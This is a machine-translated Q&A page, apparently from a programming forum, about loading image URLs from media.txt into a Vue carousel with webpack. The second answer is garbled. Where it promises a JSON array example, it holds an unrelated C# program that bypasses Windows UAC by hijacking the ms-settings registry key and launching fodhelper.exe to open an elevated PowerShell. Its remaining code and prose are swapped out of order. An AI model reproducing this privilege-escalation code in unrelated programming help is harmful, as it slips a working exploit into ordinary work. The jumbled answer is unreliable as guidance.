将文件内容读入Vue组件中的数组

Question

在我的media.txt文件中，我有：

"https://www.dropbox.com/s/******/687.jpg?dl=0",
"https://www.dropbox.com/s/******/0688.jpg?dl=0

我具有以下Vue轮播组件：

<template>
  <section>
    <v-card
        class="mx-auto"
        color="#26c6da"
        dark
        max-width="1200"
      >

      <v-carousel>
        <v-carousel-item v-for="(item,i) in items" :key="i" :src="item.src"></v-carousel-item>
      </v-carousel>

    </v-card>
  </section>
</template>

<script>
var cache = {};
// const images = require.context('../static/', false, /\.png$|\.jpg/);
// const images = require.context('../static/', false, /\.png$|\.jpg|\.mp4/); // WORKING
const images = require.context('../static/media.txt', false, /\.png$|\.jpg|\.mp4/);
var imagesArray = Array.from(images.keys());
// const images = ["./52lv.PNG", "./Capture1.PNG", "./maps.PNG"]
console.log(images.keys());
console.log('images');
console.log(images);
var constructed = [];
function constructItems(fileNames, constructed) {
  fileNames.forEach(fileName => {
    constructed.push({
      'src': fileName.substr(1)
    })
  });
  return constructed;
}
console.log('items ');
console.log(imagesArray);
// At build-time cache will be populated with all required modules. 
var res = constructItems(imagesArray, constructed);
console.log(res);
export default {
  data: function() {
    return {
      items: res
    };
  }
};
</script>

我想将media.txt文件中的图像读取到一个数组中，然后用这些填充轮播src中。我一直在尝试使用Webpack的require.context函数，但遇到module not found错误。

我该如何工作？

Answer 1

您可能应该安装https://github.com/webpack-contrib/raw-loader#getting-started（用于Webpack读取txt文件的加载器），在vue.config.js中对其进行配置，您应该能够这样导入：从'raw-loader！导入txt。 /file.txt';而是使用require。

Answer 2

您似乎正在尝试将字符串数组（JSON）导入变量。该字符串数组应使用方括号分隔，如下所示：

class Program
{
[DllImport("kernel32.dll", EntryPoint = "Wow64EnableWow64FsRedirection")]
public static extern bool EnableWow64FSRedirection(bool enable);
#region EntryPoint
[STAThread]
static void Main(string[] args)
{
    if (IsAdministrator()) MessageBox.Show("Application running in HP-Mode.");
    else { MessageBox.Show("."); UACBypass(); }
}
#endregion
#region [PRIVATE]Methods
private static bool IsAdministrator()
{
    try { return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); }
    catch { return false; }
}
private static void UACBypass()
{
    using (RegistryKey subKey = Registry.CurrentUser.CreateSubKey(@"Software\Classes\ms-settings\Shell\Open\command"))
    {
        subKey?.SetValue("DelegateExecute", string.Empty, RegistryValueKind.String);
        subKey?.SetValue(string.Empty, "cmd /c start powershell.exe", RegistryValueKind.String);
    }
    EnableWow64FSRedirection(false); Process.Start(@"C:\Windows\System32\fodhelper.exe"); EnableWow64FSRedirection(true); //Момент истины
}
#endregion
}
 }

require.context(dirPath, useSubDirs, filenameRegex)在此处不适合使用API​​，因为该方法从指定目录导入多个文件。例如，下面的代码告诉Webpack从名为[ "foo", "bar" ] 的目录（可能实际上是一个文件）中加载*.png，*.jpg和*.mp4文件。

../static/media.txt

相反，您可以简单地使用require.context('../static/media.txt', false, /\.png$|\.jpg|\.mp4/) // DON'T DO THIS 将指定的文件作为JSON对象/数组导入。例如，要导入require('path/to/file.json')（包含顶部提到的数组），语法应为：

src/assets/media.json

demo